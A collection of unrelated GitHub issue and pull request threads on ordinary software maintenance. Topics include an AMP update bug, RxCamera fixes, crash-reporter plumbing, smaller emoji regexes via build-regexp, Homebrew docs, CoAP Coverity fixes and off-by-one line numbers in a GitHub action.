Reproduction

install an old version of AMP or wait for a new update to be pushed
open the manager in your browser, log in, have one or more instances running, and click the button that says "update"
click the button that says "update now" in the warning that pops up telling you the instance will be offline for the duration of the update
observe the AMP Service Handler closing and AMP Core Runtime processes idling in task manager

This is a known problem with the Windows version of AMP wherein if ADS goes down for any reason (such as an update) it requires all AMP instances to be turned off
The reason being that the particular port AMP uses doesn't seem to be let go of when the service stops. This is not intended behaviour and other Windows-based control panels do not have this problem. Further development on the Windows side will be required to remove this problem and to bring the Windows installations to parity with the Linux ones.

I had this same problem with the latest <IP_ADDRESS> update on Linux.  The instances refused to update until they were completely shutdown.  Even then it took several attempts to work.

This should be solved in the latest release. Please respond if it's still an issue and it can be looked into further.


fix setHandleSurfaceEvent

This commit update gradle plugins and lower the minSdkVersion
requirements to 9
closes ragnraok/RxCamera#7

I've tried to take if off .idea folder from this repo using .gitignore but it didn't work it out

fix setHandleSurfaceEvent
fix ragnraok/RxCamera#5, fix ragnraok/RxCamera#10
set minSdkVersion 14

It looks weird, now you have two onAvailable with different parameter, and you just want to set the preview surface, but I already set it when you bind the surface

Ok.... I know that, It seem that I forgot to call setSurfaceListener in RxCameraInternal, so the setHandleSurfaceEvent doesn't work, I will fix it latter, thanks for your pull request

this PR fix this, I am using it on a production app.
Thanks for this lib, really make sense to have a Rx API for this.
I will implement this issue https://github.com/ragnraok/RxCamera/issues/9 as well, are you willing to add another PR for this repo?

It's OK, you can used the Camera.FaceDetectionListener or implement the face detection with your algorithm


Start crash reporter inside child processes

Starting the crash reporter for the extension host
Related to #21944
If this works as expected, we can do the same for the rest of the child processes that we spawn/fork and need crash reporting

@ramya-rao-a I suggest to just introduce process.env variables for the crash reporter metadata and read them in the forked process. Using the local storage as a way to communicate data is a bad hack. At the very minimum it should be a ICrashReporterService that we can require in places where we need it (except for forked processes where we do not have services). Anyway, using process environment would save you that issue as well as you would not have to pass arguments around.
We still only have one crash reporter process even when we start it from other processes, right?

@bpasero

Using the local storage as a way to communicate data is a bad hack

Will look into creating ICrashReporterService which can have 2 methods. One to get the args another to start the crash reporter

We still only have one crash reporter process even when we start it from other processes, right?

In Mac which uses crashpad yes. There is a single handler for monitoring crashes for all processes (main, renderer, child)
In Windows, we need start another process that does the monitoring. This PR doesn't include that. See https://github.com/electron/electron/blob/master/docs/api/crash-reporter.md#crashreporterstartoptions
I'll have to dig a little more to get the more details

@ramya-rao-a what we could also do as a starter is to only enable this on macOS for e.g. the extension host.

@bpasero PR updated as we discussed

@ramya-rao-a I pushed some refactorings and a bugfixes on top of your commit to this PR, please have a look. When trying this out locally I was getting a crash right on startup on the extension host.
One thing to look into is your use of crashesDirectory. Shouldn't this property be set on the crash reporter options directly and not the extra bag? And then, we should probably not set this option all the time but only from the object returned from getChildProcessStartOptions

@bpasero

crash right on startup on the extension host

Ah! This was due to the object being passed and not the stringified object. That was a last minute change I made as an after thought, but didn't test. Sorry, my bad.

crashesDirectory on the crash reporter options directly and not the extra bag

Yes, this should be part of the main payload and not the extra bag. Fixed with 95c851784cbc61ad86cdd3abc7393f708477a330

we should probably not set this option all the time but only from the object returned from getChildProcessStartOptions

Ideally yes. This option is not used by the main/renderer process, so I didn't see the harm in sending it all the time rather than just for the child process. Fixed with 95c851784cbc61ad86cdd3abc7393f708477a330
btw I spent a lot of time getting the service plumbing to work, but kept getting unhelpful errors while instantiating the  ExtensionHostProcessWorker which I then narrowed down to my service not defining "_serviceBrand". Do we have any docs around do's don'ts for such cases?


Generate smaller regular expressions by using a different tool

This PR implements an alternative way to build this project's regular expressions. The new expressions are smaller (see the table below) but should be functionally equivalent. npm run test passes.
I am the author of s9e\RegexpBuilder, a PHP library similar in purpose to regexgen. I'm working on a command line tool to allow non-PHP projects to make use of the library, and I chose emoji-test-regex-pattern as a practical use case to test the design.
The tool is named build-regexp. The library can generate regular expressions using PCRE or JavaScript syntax, in Unicode mode or not. The CLI tool supports a number of presets, including re2 and java that are provided for parity; Their output is identical to the pcre preset with a u flag.
While fully functional, this PR is meant as a proof of concept. I modified the build script minimally and as unobtrusively as possible. In addition to the normal files, it generates a new sequences.txt file (for each version) that contains all of the emoji sequences. Then a new script rebuild uses the sequences.txt files to replace the existing regular expression files. That means both scripts must be run in succession to fully update all of the regular expressions. The rebuild script was written in Bash for convenience.
To install:

Get Composer if it's not already installed.
Run composer install at the root of the project.

To update:

npm run build
npm run rebuild

The result is smaller, more efficient regexps. Below is a table that compares the size of the files for the latest version, after each script.

build
rebuild

cpp-re2.txt
18896
13651

javascript.txt
16569
11635

javascript-u.txt
17716
12913

java.txt
18896
13651

Let me know if you have any questions.

Thanks for the patch! This sounds really exciting. I'll take a look soon.

Let me know if you have any questions.

What is the trick that allows the regular expressions to be smaller?
Do the generated patterns still put the longest patterns first, similar to https://github.com/tc39/proposal-regexp-set-notation#whats-the-match-order-for-character-classes-containing-strings?

The main focus for the library is to minimize backtracking. Producing smaller regexps is nice and it can make them faster to parse/compile but modern regexp engines tend to cache the JIT/compiled version anyway so it doesn't make a big difference. Fortunately, eliminating backtracking usually makes the expression smaller too so we get that for free.
The library applies roughly three different optimizations:

Move common prefixes out of alternations. That is, instead of (?:axx|ayy) where a can be matched in two different branches, you get a(?:xx|yy) where a can only be matched once. Technically, regexgen does that too but it seems to be doing it less systematically. This is by far the most impactful optimization.

Move common suffixes out of alternations if it doesn't cause backtracking and doesn't make the regexp more complex. Instead of (?:ax|bx) you get [ab]x.

Move optional strings out of optional alternations. Instead of (?:ab?|b)? it will generate a?b?. That pattern is prevalent in emoji sequences with optional skin tones and optional man/woman signs.

Here's a practical example that you can run at the root of the project, assuming the text doesn't get mangled along the way. In Unicode 14.0, there are 35 different sequences for a person lifting weights. Here's how you can generate a regexp that matches them all:
$ sequences="🏋 🏋 🏋🏻 🏋🏼 🏋🏽 🏋🏾 🏋🏿 🏋♂ 🏋♂ 🏋♂ 🏋♂ 🏋🏻♂ 🏋🏻♂ 🏋🏼♂ 🏋🏼♂ 🏋🏽♂ 🏋🏽♂ 🏋🏾♂ 🏋🏾♂ 🏋🏿♂ 🏋🏿♂ 🏋♀ 🏋♀ 🏋♀ 🏋♀ 🏋🏻♀ 🏋🏻♀ 🏋🏼♀ 🏋🏼♀ 🏋🏽♀ 🏋🏽♀ 🏋🏾♀ 🏋🏾♀ 🏋🏿♀ 🏋🏿♀"
$ ./node_modules/.bin/regexgen $sequences
/\uD83C\uDFCB(?:(?:\uFE0F|\uD83C[\uDFFB-\uDFFF])(?:\u200D[\u2640\u2642]\uFE0F?)?|\u200D[\u2640\u2642]\uFE0F?)?/
$ ./vendor/bin/build-regexp --preset javascript $sequences
\uD83C\uDFCB(?:\uFE0F|\uD83C[\uDFFB-\uDFFF])?(?:\u200D[\u2640\u2642]\uFE0F?)?

It will match the longest string possible. Input strings are sorted in byte order but it doesn't matter here; You can't generate (?:xy|xyz) as it will be optimized as xyz?.
$ ./vendor/bin/build-regexp 'a' 'b' 'c' 'W' 'xy' 'xyz'
(?:[Wa-c]|xyz?)

Thanks for your detailed comments!
This is somewhat off-topic, but:
$ ./vendor/bin/build-regexp 'a' 'b' 'c' 'W' 'xy' 'xyz'
(?:[Wa-c]|xyz?)

Why is the output wrapped in (?: and ) in this case?
Either way, it looks like build-regexp's output is superior to regexgen, so I'm really excited about this. To get the patch landed, I do have a few minor concerns but I'm sure we can address them in some way:

In the short term I'm fine with the additional dependency on Composer, but I'd love to avoid it longer-term.

For now, we should document the setup instructions in the README (since we'd be deviating from the usual git clone + npm install + npm run build for JS projects).
For the future, is there a universal build-regexp binary that you could publish to npm? Could there be? If not, are you planning a JS port of your tool?

Instead of requiring folks to run npm run build + npm run rebuild in the right order, let's invoke the new script from npm run build itself.
I'm trying to think of a better name than sequences.txt, since not all of them are emoji sequences. We're already using index.txt, though. Maybe just emoji.txt? Any other ideas? Naming things is hard :)

Whatever the name ends up being, let's document the new file in the README as well.
Alternatively, write this file to a different, temporary, folder that is .gitignored. Maybe this is better, since we don't really need to ship/publish this new file.

WDYT?

The (?:) is just a quirk from the library: all the alternations are constructed as non-capturing groups.  For example, create a regexp made of a list of words, followed by \b. If parentheses were omitted at the root of the expression, one may end up with something like xx|yy\b which would be different from (?:xx|yy)\b. A future version may have a standalone option to indicate that the expression will be used whole and it would also output the regexp delimiters and flags where applicable (JS and PHP) but it's low priority at the moment.
With regards to depending on Composer, PHP has a way to distribute applications as a single "phar" file. It still requires a PHP interpreter though. I haven't had time to set it up yet but I'd like to have a phar version as a release artifact. Here's a link to the phar for the 0.4.0 release. I am not aware of a tool that creates a true executable from PHP sources.
I have no plans for a JS port in the foreseeable future. The codebase is about 1,000 lines of code with a test suite of about 1,500 LOC. It's relatively small but it relies on some PHP idioms that don't translate to JavaScript  (such as [1] === [1]) so it wouldn't be a straight port.
I don't really have an opinion about the build process. I implemented it as a separate script for my own convenience and to allow you to more easily switch between the two regexp generators. I think that emoji.txt is fine. The file's content is similar to the emoji-test.txt file distributed by Unicode.

With regards to depending on Composer, PHP has a way to distribute applications as a single "phar" file. It still requires a PHP interpreter though. I haven't had time to set it up yet but I'd like to have a phar version as a release artifact. Here's a link to the phar for the 0.4.0 release. I am not aware of a tool that creates a true executable from PHP sources.

Filed a tracking issue for that: https://github.com/s9e/RegexpBuilderCommand/issues/1 Again, this is not a blocker, but it would be a nice future simplification from our side.
Would you like to address my comments in https://github.com/mathiasbynens/emoji-test-regex-pattern/pull/18#issuecomment-1052152977, or do you want me to give it a go (I'd be happy to)?

Did I miss something? If you're talking about creating a JS port yourself then you have my blessing and any support I can provide. If you're not in a rush to start, I can write an overview of how the library operates. I think you'd be better off reimplementing it than doing an exact port.

Did I miss something?

I meant the other bullet points I mentioned in my earlier comment. Don't worry, I can take care of addressing them. Thanks for the patch, I'll take it from here!

I’ve addressed all my feedback and integrated the script with the existing build script rather than keeping the two separate. I’ve also made use of the generated *.phar file that you’re now publishing — thanks again for that!
Publishing the phar file to npm would make it even nicer but this is definitely good enough for now. Merging…

Here are the file size savings:
$ git file-size-diff HEAD~ HEAD # and manually filtered afterwards
-5059	dist/emoji-13.0/cpp-re2.txt
-5059	dist/emoji-13.0/java.txt
-4651	dist/emoji-13.0/javascript-u.txt
-4529	dist/emoji-13.0/javascript.txt

-5276	dist/emoji-13.1/cpp-re2.txt
-5276	dist/emoji-13.1/java.txt
-4832	dist/emoji-13.1/javascript-u.txt
-4910	dist/emoji-13.1/javascript.txt

-5253	dist/emoji-14.0/cpp-re2.txt
-5253	dist/emoji-14.0/java.txt
-4809	dist/emoji-14.0/javascript-u.txt
-4940	dist/emoji-14.0/javascript.txt

-5253	dist/latest/cpp-re2.txt
-5253	dist/latest/java.txt
-4809	dist/latest/javascript-u.txt
-4940	dist/latest/javascript.txt


Misc fixes

Here are a bunch of fixes for issues I came across while trying to make the project work on Linux and browsing the codebase.
Note that this PR doesn't include changes I needed but are a bit too radical. In particular, I had to upgrade all the requirements (a large number of them simply wouldn't compile).
While there are still many things that do not work in the current state (starting from Yomichan popup not showing up), at least now it starts.
One more thing while I'm at it: would a PR to reformat the whole codebase with black/isort accepted? Overall, I'd be happy to modernize the codebase a bit (packaging, use of common Python idioms, etc)

Regarding the path for Linux and MacOS, I'm thinking of moving it to config.ini, and applying a default value on the platform that the app is built on.

Regarding the path for Linux and MacOS, I'm thinking of moving it to config.ini, and applying a default value on the platform that the app is built on.

Speaking of config, shouldn't the Anki fields mapping be in that file as well instead of its own yaml?

Speaking of config, shouldn't the Anki fields mapping be in that file as well instead of its own yaml?

Possible. I was imagining there would be multiple mappings when I first built the app and thought it should have its own file.


Refactor into multiple sub packages

There are multiple functionalities included in this package that are not dependant on each other and could be standalone sub packages based on dev needs. For example reading qr code image ca be completely standalone etc. Maybe a better way would be to do a lib with the basic functionality (actually verifying) and this repo uses that lib with additional functionalities it provides.

As I commented on issue #161, the explicit goal of the project, as stated in the README, is to provide an implementation validation tool, vs. a library that can be used to validate SMART Health Cards directly. Our tool implements some validation paths that shouldn't be part of a real-life card validator, to help developers debug their issuance implementations. The current packaging discourages, by design, "blind" copy-paste into other projects. Developers are welcome to copy code and patterns from our project, but should do so with care, keeping their threat model in mind.

I'll close this issue for now. Feel free to provide more suggestions in the discussion forum.


Update documentation, license, scripts.

Get the final things ready for the final release in https://github.com/Homebrew/brew/pull/513.
CC @xu-cheng and @Homebrew/maintainers for review.

:+1:
Technically this means we will need homebrew/brew instead of tigerbrew to build vendor ruby. Also we could use brew test-bot --skip-relocation directly.
As I have tested that homebrew/brew can be indeed working on os x 10.5 if we remove the os x version check in brew.rb. So should we just remove that os x version check?

As I have tested that homebrew/brew can be indeed working on os x 10.5 if we remove the os x version check in brew.rb. So should we just remove that os x version check?

Yes, seems like a good idea, I was thinking the same.

@xu-cheng Done in https://github.com/Homebrew/brew/pull/734.


Fix CoAP coverity issues

Fix unintended sign extension (SIGN_EXTENSION).
The result of "coap_block_size_to_bytes() * iter"
extending the sign type.
current variable from struct coap_block_context is size_t.
So store the result in current_block which is size_t
defined and compare it.
Fixes #20880
Fixes #20881
Fixes #20882
Fixes #20883
Coverity CID :205780
Coverity CID :205786
Coverity CID :205806
Coverity CID :205808

FYI: It's not the * iter that's a problem (Coverity didn't complain about line 722), it's the conversion of iter from u8_t to int because it's an unsigned operand in an binary subtraction with 1 which is a signed operand with higher conversion rank (int). If you change the original to (iter - 1U) it should be fine because both operands are unsigned.

Thank you, I will update it.


Fix reported line numbers

Hi @kishikawakatsumi, thanks for the great GH action.
Once I started using it I found that the reported line numbers are off by 1.
Turns out StartingLineNumber and EndingLineNumber are 0-based values, while GitHub actions expects 1-based line numbers.
This PR fixes this based on https://github.com/diogot/danger-xcode_summary/blob/master/lib/xcode_summary/plugin.rb#L207

@rolandkakonyi Thank you! I overlooked that.